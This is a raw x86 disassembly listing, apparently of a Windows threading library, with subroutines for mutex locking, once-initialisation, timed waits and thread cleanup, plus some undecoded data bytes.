loc_430AAE: ; CODE XREF: sub_430A90+8j
; sub_430A90+Ej ...
mov eax, 16h
retn
sub_430A90 endp
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_430AD0 proc near ; CODE XREF: sub_402225j
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
push edi
xor edi, edi
test esi, esi
jz loc_430B87
mov eax, [esi]
test eax, eax
jz loc_430B87
cmp eax, 0FFFFFFFFh
jnz short loc_430B01
push esi
call sub_401C03
mov edi, eax
add esp, 4
test edi, edi
jz short loc_430B01
pop edi
pop esi
retn
; ---------------------------------------------------------------------------
loc_430B01: ; CODE XREF: sub_430AD0+1Dj
; sub_430AD0+2Cj
mov esi, [esi]
push esi
nop
call near ptr 2760595h
test eax, eax
jnz short loc_430B2A
loc_430B0E: ; CODE XREF: sub_430AD0+A8j
mov ecx, [esi+8]
mov eax, 1
test ecx, ecx
mov [esi+4], eax
jz short loc_430B22
call sub_4012E4
; ---------------------------------------------------------------------------
loc_430B22: ; CODE XREF: sub_430AD0+4Bj
mov [esi+0Ch], eax
mov eax, edi
pop edi
pop esi
retn
; ---------------------------------------------------------------------------
loc_430B2A: ; CODE XREF: sub_430AD0+3Cj
mov eax, [esi+8]
test eax, eax
jz short loc_430B6A
call sub_4012E4
; ---------------------------------------------------------------------------
dw 8B50h
dd 0E8500C46h, 0FFFD0F10h, 8508C483h, 562374C0h, 0FB75E890h
dd 7E830233h, 0C750108h, 4004468Bh, 8B044689h, 0C35E5FC7h
dd 24BFh, 5FC78B00h
; ---------------------------------------------------------------------------
pop esi
retn
; ---------------------------------------------------------------------------
loc_430B6A: ; CODE XREF: sub_430AD0+5Fj
lea ecx, [esi+10h]
push ecx
call sub_430BC0
add esp, 4
test eax, eax
jz short loc_430B0E
nop
call near ptr 77C1F2BCh
mov edi, [eax]
mov eax, edi
pop edi
pop esi
retn
; ---------------------------------------------------------------------------
loc_430B87: ; CODE XREF: sub_430AD0+Aj
; sub_430AD0+14j
pop edi
mov eax, 16h
pop esi
retn
sub_430AD0 endp
; ---------------------------------------------------------------------------
db 90h
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_430BC0 proc near ; CODE XREF: sub_430AD0+9Ep
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
test eax, eax
jz short loc_430BDA
mov eax, [eax]
push 0FFFFFFFFh
mov ecx, [eax]
push ecx
nop
call near ptr 277044Ch
test eax, eax
jnz short loc_430BDA
retn
; ---------------------------------------------------------------------------
loc_430BDA: ; CODE XREF: sub_430BC0+6j
; sub_430BC0+17j
nop
call near ptr 77C1F2BCh
mov dword ptr [eax], 16h
or eax, 0FFFFFFFFh
retn
sub_430BC0 endp
; ---------------------------------------------------------------------------
db 6 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_430C00 proc near ; CODE XREF: sub_401BC2j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push ebp
push esi
mov esi, [esp+8+arg_0]
xor ebp, ebp
test esi, esi
jz loc_430D98
mov eax, [esi]
test eax, eax
jz loc_430D98
cmp eax, 0FFFFFFFFh
jnz short loc_430C31
push esi
call sub_401C03
mov ebp, eax
add esp, 4
test ebp, ebp
jz short loc_430C31
pop esi
pop ebp
retn
; ---------------------------------------------------------------------------
loc_430C31: ; CODE XREF: sub_430C00+1Dj
; sub_430C00+2Cj
mov esi, [esi]
push ebx
push edi
push esi
call near ptr 2760595h
nop
test eax, eax
jnz short loc_430C62
loc_430C40: ; CODE XREF: sub_430C00+175j
mov ecx, [esi+8]
mov eax, 1
test ecx, ecx
mov [esi+4], eax
jz loc_430D8E
call sub_4012E4
; ---------------------------------------------------------------------------
pop edi
mov [esi+0Ch], eax
pop ebx
mov eax, ebp
pop esi
pop ebp
retn
; ---------------------------------------------------------------------------
loc_430C62: ; CODE XREF: sub_430C00+3Ej
mov eax, [esi+8]
test eax, eax
jz short loc_430CA6
call sub_4012E4
; ---------------------------------------------------------------------------
dw 8B50h
dd 0E8500C46h, 0FFFD0DD8h, 8508C483h, 562774C0h, 33FA3EE8h
dd 7E839002h, 0E750108h, 5F04468Bh, 46895B40h, 5EC58B04h
dd 24BDC35Dh, 5F000000h, 5EC58B5Bh
; ---------------------------------------------------------------------------
pop ebp
retn
; ---------------------------------------------------------------------------
loc_430CA6: ; CODE XREF: sub_430C00+67j
mov eax, [esp+10h+arg_4]
test eax, eax
jnz short loc_430CBA
mov ebp, 16h
pop edi
pop ebx
mov eax, ebp
pop esi
pop ebp
retn
; ---------------------------------------------------------------------------
loc_430CBA: ; CODE XREF: sub_430C00+ACj
lea edi, [esi+10h]
push eax
push edi
call sub_430E10
add esp, 8
sub eax, 0
jz loc_430D7A
dec eax
jz short loc_430D44
dec eax
jz short loc_430CE5
call near ptr 77C1F2BCh
nop
mov ebp, [eax]
pop edi
pop ebx
mov eax, ebp
pop esi
pop ebp
retn
; ---------------------------------------------------------------------------
loc_430CE5: ; CODE XREF: sub_430C00+D4j
lea ebx, [esi+14h]
push ebx
call near ptr 7C901005h
nop
push edi
mov ebp, 274Ch
call sub_4010A5
add esp, 4
cmp eax, 0FFFFFFFFh
push esi
jnz short loc_430D17
call near ptr 27706C3h
nop
push ebx
call near ptr 7C9010EDh
nop
pop edi
pop ebx
mov eax, ebp
pop esi
pop ebp
retn
; ---------------------------------------------------------------------------
loc_430D17: ; CODE XREF: sub_430C00+101j
nop
call near ptr 27706C3h
test eax, eax
jl short loc_430D36
push edi
call sub_40103C
add esp, 4
test eax, eax
jz short loc_430D36
call near ptr 77C1F2BCh
nop
mov ebp, [eax]
loc_430D36: ; CODE XREF: sub_430C00+11Fj
; sub_430C00+12Cj
push ebx
nop
call near ptr 7C9010EDh
pop edi
pop ebx
mov eax, ebp
pop esi
pop ebp
retn
; ---------------------------------------------------------------------------
loc_430D44: ; CODE XREF: sub_430C00+D1j
lea ebx, [esi+14h]
push ebx
call near ptr 7C901005h
nop
push edi
call sub_4010A5
mov edi, eax
add esp, 4
cmp edi, 0FFFFFFFFh
jnz short loc_430D6A
push esi
call near ptr 27706C3h
nop
mov ebp, 274Ch
loc_430D6A: ; CODE XREF: sub_430C00+15Cj
push ebx
nop
call near ptr 7C9010EDh
test edi, edi
jnz short loc_430D91
jmp loc_430C40
; ---------------------------------------------------------------------------
loc_430D7A: ; CODE XREF: sub_430C00+CAj
mov ecx, [esi+8]
mov eax, 1
test ecx, ecx
mov [esi+4], eax
jz short loc_430D8E
call sub_4012E4
; ---------------------------------------------------------------------------
loc_430D8E: ; CODE XREF: sub_430C00+4Dj
; sub_430C00+187j
mov [esi+0Ch], eax
loc_430D91: ; CODE XREF: sub_430C00+173j
pop edi
pop ebx
mov eax, ebp
pop esi
pop ebp
retn
; ---------------------------------------------------------------------------
loc_430D98: ; CODE XREF: sub_430C00+Aj
; sub_430C00+14j
pop esi
mov eax, 16h
pop ebp
retn
sub_430C00 endp
; ---------------------------------------------------------------------------
db 70h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_430E10 proc near ; CODE XREF: sub_430C00+BFp
var_C = dword ptr -0Ch
var_8 = dword ptr -8
arg_0 = dword ptr 4
arg_4 = dword ptr 8
sub esp, 0Ch
push esi
push edi
mov edi, [esp+14h+arg_0]
test edi, edi
jz loc_430EAE
mov esi, [esp+14h+arg_4]
test esi, esi
jnz short loc_430E42
or eax, 0FFFFFFFFh
loc_430E2C: ; CODE XREF: sub_430E10+7Fj
push eax
mov eax, [edi]
mov ecx, [eax]
push ecx
nop
call near ptr 277044Ch
test eax, eax
jnz short loc_430E9C
pop edi
pop esi
add esp, 0Ch
retn
; ---------------------------------------------------------------------------
loc_430E42: ; CODE XREF: sub_430E10+17j
lea eax, [esp+14h+var_C]
push eax
nop
call near ptr 77C49113h
mov ecx, [esi+4]
mov eax, 431BDE83h
add ecx, 7A120h
add esp, 4
mul ecx
mov eax, [esi]
mov ecx, [esp+14h+var_C]
shr edx, 12h
lea eax, [eax+eax*4]
lea ecx, [ecx+ecx*4]
lea eax, [eax+eax*4]
lea ecx, [ecx+ecx*4]
lea eax, [eax+eax*4]
lea ecx, [ecx+ecx*4]
shl ecx, 3
lea eax, [edx+eax*8]
mov edx, [esp+14h+var_8]
sub eax, ecx
and edx, 0FFFFh
sub eax, edx
jns short loc_430E2C
pop edi
mov eax, 2
pop esi
add esp, 0Ch
retn
; ---------------------------------------------------------------------------
loc_430E9C: ; CODE XREF: sub_430E10+2Aj
cmp eax, 102h
jnz short loc_430EAE
pop edi
mov eax, 1
pop esi
add esp, 0Ch
retn
; ---------------------------------------------------------------------------
loc_430EAE: ; CODE XREF: sub_430E10+Bj
; sub_430E10+91j
nop
call near ptr 77C1F2BCh
mov dword ptr [eax], 16h
pop edi
or eax, 0FFFFFFFFh
pop esi
add esp, 0Ch
retn
sub_430E10 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_430F00 proc near ; CODE XREF: sub_4010C3j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push ebx
xor ebx, ebx
push esi
cmp eax, ebx
jz loc_430FA0
mov esi, [eax]
cmp esi, ebx
jz loc_430FA0
cmp esi, 0FFFFFFFFh
push edi
jz short loc_430F95
mov eax, [esi+0Ch]
mov edi, 1
cmp eax, edi
jz short loc_430F4A
call sub_4012E4
; ---------------------------------------------------------------------------
push eax
mov eax, [esi+0Ch]
push eax
call sub_401A50
add esp, 8
test eax, eax
jnz short loc_430F4A
mov ebx, edi
pop edi
mov eax, ebx
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_430F4A: ; CODE XREF: sub_430F00+2Aj
; sub_430F00+40j
cmp [esi+8], edi
jnz short loc_430F58
mov eax, [esi+4]
dec eax
mov [esi+4], eax
jnz short loc_430F9A
loc_430F58: ; CODE XREF: sub_430F00+4Dj
lea edi, [esi+14h]
mov [esi+0Ch], ebx
push edi
nop
call near ptr 7C901005h
push esi
call near ptr 27706C3h
nop
test eax, eax
jl short loc_430F88
add esi, 10h
push esi
call sub_40103C
add esp, 4
test eax, eax
jz short loc_430F88
call near ptr 77C1F2BCh
nop
mov ebx, [eax]
loc_430F88: ; CODE XREF: sub_430F00+6Ej
; sub_430F00+7Ej
push edi
nop
call near ptr 7C9010EDh
pop edi
mov eax, ebx
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_430F95: ; CODE XREF: sub_430F00+1Ej
mov ebx, 16h
loc_430F9A: ; CODE XREF: sub_430F00+56j
pop edi
mov eax, ebx
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_430FA0: ; CODE XREF: sub_430F00+Aj
; sub_430F00+14j
pop esi
mov eax, 16h
pop ebx
retn
sub_430F00 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_430FE0 proc near ; CODE XREF: sub_40177Bj
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
push edi
xor edi, edi
test esi, esi
jz short loc_431065
mov eax, [esi]
test eax, eax
jz short loc_431065
cmp eax, 0FFFFFFFFh
jnz short loc_431002
push esi
call sub_401C03
add esp, 4
mov edi, eax
loc_431002: ; CODE XREF: sub_430FE0+15j
mov esi, [esi]
test edi, edi
jnz short loc_431060
push 0FFFFFFFFh
push edi
push esi
call dword_50E3FC ; InterlockedCompareExchange
cmp eax, 0FFFFFFFFh
jnz short loc_431033
mov ecx, [esi+8]
mov eax, 1
test ecx, ecx
mov [esi+4], eax
jz short loc_43102B
call sub_4012E4
; ---------------------------------------------------------------------------
loc_43102B: ; CODE XREF: sub_430FE0+44j
mov [esi+0Ch], eax
mov eax, edi
pop edi
pop esi
retn
; ---------------------------------------------------------------------------
loc_431033: ; CODE XREF: sub_430FE0+35j
cmp dword ptr [esi+8], 1
jnz short loc_43105B
call sub_4012E4
; ---------------------------------------------------------------------------
push eax
mov eax, [esi+0Ch]
push eax
call sub_401A50
add esp, 8
test eax, eax
jz short loc_43105B
mov eax, [esi+4]
inc eax
mov [esi+4], eax
mov eax, edi
pop edi
pop esi
retn
; ---------------------------------------------------------------------------
loc_43105B: ; CODE XREF: sub_430FE0+57j
; sub_430FE0+6Dj
mov edi, 10h
loc_431060: ; CODE XREF: sub_430FE0+26j
mov eax, edi
pop edi
pop esi
retn
; ---------------------------------------------------------------------------
loc_431065: ; CODE XREF: sub_430FE0+Aj
; sub_430FE0+10j
pop edi
mov eax, 16h
pop esi
retn
sub_430FE0 endp
; ---------------------------------------------------------------------------
db 3 dup(90h)
db 30h dup(0CCh)
; ---------------------------------------------------------------------------
loc_4310A0: ; CODE XREF: ___:0040192Ej
mov eax, [esp+8]
mov ecx, [esp+4]
push eax
push ecx
call sub_40119A
add esp, 8
retn
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_4310D0: ; CODE XREF: ___:00401587j
mov eax, [esp+8]
mov ecx, [esp+4]
push eax
push ecx
call sub_4018C0
add esp, 8
retn
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_431100: ; CODE XREF: ___:0040148Dj
mov eax, [esp+4]
test eax, eax
jz short loc_43110C
mov eax, [eax+4]
retn
; ---------------------------------------------------------------------------
loc_43110C: ; CODE XREF: ___:00431106j
xor eax, eax
retn
; ---------------------------------------------------------------------------
db 90h
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_431120: ; CODE XREF: ___:00401BFEj
mov eax, [esp+4]
push esi
test eax, eax
push edi
jnz short loc_431132
pop edi
mov eax, 16h
pop esi
retn
; ---------------------------------------------------------------------------
loc_431132: ; CODE XREF: ___:00431128j
mov esi, [eax]
test esi, esi
jnz short loc_431155
mov ecx, [eax+4]
test ecx, ecx
jnz short loc_431155
call sub_401CEE
; ---------------------------------------------------------------------------
dd 0B8E89056h, 0E80241F1h, 0FFFD0B9Eh, 5EC0335Fh
; ---------------------------------------------------------------------------
retn
; ---------------------------------------------------------------------------
loc_431155: ; CODE XREF: ___:00431136j
; ___:0043113Dj
mov ecx, [eax+4]
mov eax, 431BDE83h
add ecx, 0F423Fh
imul ecx
sar edx, 12h
mov eax, edx
shr eax, 1Fh
add edx, eax
lea eax, [esi+esi*4]
lea eax, [eax+eax*4]
lea ecx, [eax+eax*4]
lea edi, [edx+ecx*8]
call sub_4012E4
; ---------------------------------------------------------------------------
mov esi, eax
test esi, esi
jnz short loc_43118E
pop edi
mov eax, 0Ch
pop esi
retn
; ---------------------------------------------------------------------------
loc_43118E: ; CODE XREF: ___:00431184j
mov eax, [esi+30h]
push edi
test eax, eax
jnz short loc_4311F6
mov edx, [esi+38h]
push edx
call near ptr 277044Ch
nop
test eax, eax
jnz short loc_4311E7
lea edi, [esi+2Ch]
push edi
call sub_402225
mov eax, [esi+0Ch]
add esp, 4
cmp eax, 3
jge short loc_4311D6
push edi
mov dword ptr [esi+0Ch], 3
mov dword ptr [esi+30h], 1
call sub_4010C3
push 2
call sub_401DD4
; ---------------------------------------------------------------------------
add esp, 8
loc_4311D6: ; CODE XREF: ___:004311B6j
push edi
call sub_4010C3
add esp, 4
mov eax, 3
pop edi
pop esi
retn
; ---------------------------------------------------------------------------
loc_4311E7: ; CODE XREF: ___:004311A2j
cmp eax, 102h
jz short loc_4311FC
pop edi
mov eax, 16h
pop esi
retn
; ---------------------------------------------------------------------------
loc_4311F6: ; CODE XREF: ___:00431194j
nop
call near ptr 2850303h
loc_4311FC: ; CODE XREF: ___:004311ECj
pop edi
xor eax, eax
pop esi
retn
; ---------------------------------------------------------------------------
db 0Fh dup(90h)
db 40h dup(0CCh)
; ---------------------------------------------------------------------------
loc_431250: ; CODE XREF: ___:00401014j
push ecx
lea eax, [esp+0]
push eax
call sub_401C26
add esp, 4
test eax, eax
mov eax, 1
jnz short loc_43126B
mov eax, [esp+0]
loc_43126B: ; CODE XREF: ___:00431265j
pop ecx
retn
; ---------------------------------------------------------------------------
db 3 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_431280 proc near ; CODE XREF: sub_401708j
push esi
call sub_401320
push offset aKernel32_dll ; "KERNEL32.DLL"
mov esi, eax
nop
call near ptr 27E0865h
push offset aInterlockedcom ; "InterlockedCompareExchange"
push eax
mov dword_50E3E0, eax
call near ptr 27F0000h
nop
test eax, eax
mov dword_50E3FC, eax
jnz short loc_4312CD
mov eax, dword_50E3E0
mov dword_50E3FC, offset sub_4012D0
push eax
nop
call near ptr 27503B6h
mov dword_50E3E0, 0
loc_4312CD: ; CODE XREF: sub_431280+2Bj
mov eax, esi
pop esi
retn
sub_431280 endp
; ---------------------------------------------------------------------------
db 0Fh dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_431300 proc near ; CODE XREF: sub_40161Dj
mov eax, dword_50E3E4
test eax, eax
jz short loc_431350
mov eax, dword_50E3E8
push eax
call sub_401190
; ---------------------------------------------------------------------------
dd 8504C483h, 832074C0h, 75012078h, 86E8501Ah, 8BFFFD04h
dd 50E3E80Dh, 4C48300h, 6A118Bh, 0C5E89052h, 0E80231ECh
dd 0FFFD02FBh, 50E3E0A1h, 74C08500h, 0E8905007h, 231F066h
; ---------------------------------------------------------------------------
loc_431350: ; CODE XREF: sub_431300+7j
mov eax, 1
retn
sub_431300 endp
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_431380 proc near ; CODE XREF: sub_4017B2j
mov eax, 1
retn
sub_431380 endp
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4313A0 proc near ; CODE XREF: sub_4017C1j
mov eax, dword_50E3E4
test eax, eax
jz short loc_4313DB
mov eax, dword_50E3E8
push eax
call sub_401190
; ---------------------------------------------------------------------------
dd 8504C483h, 832074C0h, 75012078h, 0E6E8501Ah, 8BFFFD03h
dd 50E3E80Dh, 4C48300h, 6A118Bh, 25E89052h
db 0ECh, 31h, 2
; ---------------------------------------------------------------------------
loc_4313DB: ; CODE XREF: sub_4313A0+7j
mov eax, 1
retn
sub_4313A0 endp
; ---------------------------------------------------------------------------
db 0Fh dup(90h)
db 20h dup(0CCh)
; ---------------------------------------------------------------------------
loc_431410: ; CODE XREF: ___:00402239j
push ecx
push esi
push offset dword_50E9C0
xor esi, esi
nop
call near ptr 7C901005h
mov eax, dword_50E3F0
test eax, eax
mov [esp+4], eax
jz short loc_43144E
loc_43142C: ; CODE XREF: ___:0043144Cj
test esi, esi
jnz short loc_43144E
lea eax, [esp+4]
push eax
call sub_401604
mov ecx, [esp+8]
mov esi, eax
add esp, 4
mov eax, [ecx+18h]
test eax, eax
mov [esp+4], eax
jnz short loc_43142C
loc_43144E: ; CODE XREF: ___:0043142Aj
; ___:0043142Ej
push offset dword_50E9C0
nop
call near ptr 7C9010EDh
mov eax, esi
pop esi
neg eax
sbb eax, eax
and eax, 0Bh
pop ecx
retn
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_431490 proc near ; CODE XREF: sub_4012B7j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
test eax, eax
jz short loc_4314A9
mov eax, [eax]
test eax, eax
jz short loc_4314A9
cmp dword ptr [eax], 0C4C0FFEEh
jnz short loc_4314A9
xor eax, eax
retn
; ---------------------------------------------------------------------------
loc_4314A9: ; CODE XREF: sub_431490+6j
; sub_431490+Cj ...
mov eax, 1
retn
sub_431490 endp
; ---------------------------------------------------------------------------
db 90h
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4314C0 proc near ; CODE XREF: sub_401320j
mov eax, dword_50E3E4
test eax, eax
jz short loc_4314CF
mov eax, 1
retn
; ---------------------------------------------------------------------------
loc_4314CF: ; CODE XREF: sub_4314C0+7j
push 0
push offset dword_50E3E8
mov dword_50E3E4, 1
call sub_4015FF
add esp, 8
test eax, eax
jnz short loc_4314FE
push eax
push offset dword_50E3EC
call sub_4015FF
add esp, 8
test eax, eax
jz short loc_431503
loc_4314FE: ; CODE XREF: sub_4314C0+2Aj
call sub_40163B
loc_431503: ; CODE XREF: sub_4314C0+3Cj
push esi
mov esi, dword_50F85C
push offset dword_50E900
call esi
push offset dword_50E960
call esi
push offset dword_50E9C0
call esi
push offset dword_50E940
call esi
push offset dword_50E9A0
call esi
push offset dword_50E980
call esi
mov eax, dword_50E3E4
pop esi
retn
sub_4314C0 endp
; ---------------------------------------------------------------------------
db 5 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_431560 proc near ; CODE XREF: sub_40163Bj
mov eax, dword_50E3E4
test eax, eax
jz locret_431619
mov eax, dword_50E3E8
test eax, eax
jz short loc_431589
push eax
call sub_401AA0
add esp, 4
mov dword_50E3E8, 0
loc_431589: ; CODE XREF: sub_431560+14j
mov eax, dword_50E3EC
test eax, eax
jz short loc_4315A5
push eax
call sub_401AA0
add esp, 4
mov dword_50E3EC, 0
loc_4315A5: ; CODE XREF: sub_431560+30j
push esi
push offset dword_50E900
nop
call near ptr 7C901005h
mov eax, dword_44574C
cmp eax, 1
jz short loc_4315D3
push edi
mov edi, dword_50FAC4
loc_4315C2: ; CODE XREF: sub_431560+70j
mov esi, [eax+8]
push eax
call edi ; free
add esp, 4
cmp esi, 1
mov eax, esi
jnz short loc_4315C2
pop edi
loc_4315D3: ; CODE XREF: sub_431560+59j
push offset dword_50E900
nop
call near ptr 7C9010EDh
mov esi, dword_50F858
push offset dword_50E980
call esi
push offset dword_50E9A0
call esi
push offset dword_50E940
call esi
push offset dword_50E9C0
call esi
push offset dword_50E960
call esi
push offset dword_50E900
call esi
mov dword_50E3E4, 0
pop esi
locret_431619: ; CODE XREF: sub_431560+7j
retn
sub_431560 endp
; ---------------------------------------------------------------------------
db 6 dup(90h)
db 30h dup(0CCh)
; ---------------------------------------------------------------------------
loc_431650: ; CODE XREF: ___:loc_401B95j
push ebp
mov ebp, esp
sub esp, 0Ch
mov eax, [ebp+8]
push esi
push edi
push eax
mov esi, [eax]
mov ecx, [eax+4]
mov edx, [eax+8]
mov [ebp-4], esi
mov [ebp-0Ch], ecx
mov [ebp-8], edx
nop
call near ptr 77C2C21Bh
mov eax, dword_50E3E8
push esi
push eax
call sub_4020DB
; ---------------------------------------------------------------------------
mov dword ptr [esi+0Ch], 1
add esi, 3Ch
push 0
push esi
call sub_436A5C
; ---------------------------------------------------------------------------
mov edi, [ebp-4]
add esp, 14h
test eax, eax
jnz short loc_4316AC
mov ecx, [ebp-8]
push ecx
call dword ptr [ebp-0Ch]
add esp, 4
mov [edi+14h], eax
mov esi, eax
jmp short loc_4316B8
; ---------------------------------------------------------------------------
loc_4316AC: ; CODE XREF: ___:00431699j
dec eax
jz short loc_4316B5
dec eax
or esi, 0FFFFFFFFh
jmp short loc_4316B8
; ---------------------------------------------------------------------------
loc_4316B5: ; CODE XREF: ___:004316ADj
mov esi, [edi+14h]
loc_4316B8: ; CODE XREF: ___:004316AAj
; ___:004316B3j
cmp dword ptr [edi+20h], 1
jnz short loc_4316D7
call sub_4017C1
push esi
nop
call near ptr 77C3A307h
add esp, 4
mov eax, esi
pop edi
pop esi
mov esp, ebp
pop ebp
retn 4
; ---------------------------------------------------------------------------
loc_4316D7: ; CODE XREF: ___:004316BCj
push edi
call sub_40131B
add esp, 4
push esi
nop
call near ptr 77C3A307h
add esp, 4
mov eax, esi
pop edi
pop esi
mov esp, ebp
pop ebp
retn 4
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_431730 proc near ; CODE XREF: sub_4017ADj
var_84 = byte ptr -84h
var_80 = dword ptr -80h
var_58 = byte ptr -58h
var_4C = dword ptr -4Ch
var_8 = byte ptr -8
arg_0 = dword ptr 4
sub esp, 84h
push ebx
mov ebx, [esp+88h+arg_0]
test ebx, ebx
push esi
jz short loc_4317AA
lea esi, [ebx+2Ch]
push edi
push esi
call sub_402225
push esi
mov dword ptr [ebx+0Ch], 5
call sub_4010C3
push ebx
call sub_40131B
mov ecx, 21h
mov esi, ebx
lea edi, [esp+9Ch+var_84]
push ebx
rep movsd
call sub_401BBD
mov eax, [esp+0A0h+var_4C]
mov esi, dword_50F8D8
add esp, 10h
test eax, eax
pop edi
jz short loc_431788
push eax
call esi
loc_431788: ; CODE XREF: sub_431730+53j
lea eax, [esp+8Ch+var_58]
push eax
call sub_40222F
mov eax, [esp+90h+var_80]
add esp, 4
test eax, eax
jz short loc_4317AA
test [esp+8Ch+var_8], 1
jnz short loc_4317AA
push eax
call esi
loc_4317AA: ; CODE XREF: sub_431730+11j
; sub_431730+6Bj ...
pop esi
pop ebx
add esp, 84h
retn
sub_431730 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4317F0 proc near ; CODE XREF: sub_401DC5j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push ebx
push ebp
push esi
push edi
push 14h
push 1
call near ptr 77C2C0C3h
nop
mov esi, eax
add esp, 8
test esi, esi
jnz short loc_431811
pop edi
pop esi
pop ebp
mov eax, 0Ch
pop ebx
retn
; ---------------------------------------------------------------------------
loc_431811: ; CODE XREF: sub_4317F0+15j
mov edi, [esp+10h+arg_8]
mov ebp, [esp+10h+arg_4]
mov dword ptr [esi], 0FFFFFFFFh
mov [esi+4], ebp
lea ebx, [edi+8]
mov [esi+8], edi
push ebx
call sub_402225
add esp, 4
mov [esp+10h+arg_4], eax
test eax, eax
jz short loc_431852
push esi
call sub_40222F
push esi
call near ptr 77C2C21Bh
nop
mov eax, [esp+18h+arg_4]
add esp, 8
pop edi
pop esi
pop ebp
pop ebx
retn
; ---------------------------------------------------------------------------
loc_431852: ; CODE XREF: sub_4317F0+47j
mov eax, [edi+0Ch]
push ebx
mov [esi+10h], eax
mov [edi+0Ch], esi
call sub_4010C3
add esp, 4
test ebp, ebp
jz short loc_431877
mov ecx, [ebp+80h]
mov [esi+0Ch], ecx
mov [ebp+80h], esi
loc_431877: ; CODE XREF: sub_4317F0+76j
mov edx, [esp+10h+arg_0]
pop edi
xor eax, eax
mov [edx], esi
pop esi
pop ebp
pop ebx
retn
sub_4317F0 endp
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4318C0 proc near ; CODE XREF: sub_40105Fj
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
test esi, esi
jz short loc_4318E7
mov eax, [esi+8]
test eax, eax
jnz short loc_4318E7
mov eax, [esi+4]
test eax, eax
jnz short loc_4318E7
push esi
call sub_40222F
push esi
nop
call near ptr 77C2C21Bh
add esp, 8
loc_4318E7: ; CODE XREF: sub_4318C0+7j
; sub_4318C0+Ej ...
pop esi
retn
sub_4318C0 endp
; ---------------------------------------------------------------------------
db 7 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_431900 proc near ; CODE XREF: sub_40131Bj
arg_0 = dword ptr 4
push ebx
mov ebx, [esp+4+arg_0]
test ebx, ebx
push esi
jz short loc_43196D
mov esi, [ebx+80h]
test esi, esi
jz short loc_43196D
push edi
loc_431915: ; CODE XREF: sub_431900+6Aj
push esi
call sub_402225
add esp, 4
test eax, eax
jnz short loc_431968
mov edi, [esi+8]
test edi, edi
jz short loc_431943
push edi
call sub_401190
; ---------------------------------------------------------------------------
add esp, 4
test eax, eax
jz short loc_431943
mov edi, [edi+4]
test edi, edi
jz short loc_431943
push eax
loc_43193E: ; CODE XREF: ___:004319B7j
call edi ; free
add esp, 4
loc_431943: ; CODE XREF: sub_431900+27j
; sub_431900+34j ...
mov eax, [esi+0Ch]
mov dword ptr [esi+4], 0
push esi
mov [ebx+80h], eax
call sub_4010C3
push esi
call sub_40105F
mov esi, [ebx+80h]
add esp, 8
loc_431968: ; CODE XREF: sub_431900+20j
test esi, esi
jnz short loc_431915
pop edi
loc_43196D: ; CODE XREF: sub_431900+8j
; sub_431900+12j
pop esi
pop ebx
retn
sub_431900 endp
; ---------------------------------------------------------------------------
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_431990 proc near ; CODE XREF: sub_401DD4j
mov eax, dword_50E3E8
push ebx
push edi
push eax
call sub_401190
sub_431990 endp
; ---------------------------------------------------------------------------
db 8Bh, 5Ch, 24h
; ---------------------------------------------------------------------------
adc [ebx-47CFB3Ch], al
add cl, [ebx-7CF28B08h]
sti
add [eax+ecx+6Ah], esi
add [eax-7F7B3918h], edx
ja short loc_43193E
push dword ptr [esi+eax-0Ah]
inc edi
jl short near ptr loc_4319C0+1
loc_4319C0: ; CODE XREF: ___:004319BEj
jz short loc_4319E5
push esi
mov eax, ebx
xor esi, esi
dec eax
jz short loc_4319D2
dec eax
jnz short loc_4319D5
or esi, 0FFFFFFFFh
jmp short loc_4319D5
; ---------------------------------------------------------------------------
loc_4319D2: ; CODE XREF: ___:004319C8j
mov esi, [edi+14h]
loc_4319D5: ; CODE XREF: ___:004319CBj
; ___:004319D0j
call sub_4017C1
push esi
call near ptr 77C3A307h
nop
add esp, 4
pop esi
loc_4319E5: ; CODE XREF: ___:loc_4319C0j
push 1
call sub_401B0E
; ---------------------------------------------------------------------------
dd 8304C483h, 57533CC7h, 537AE890h, 90907780h, 90909090h
dd 8 dup(0CCCCCCCCh)
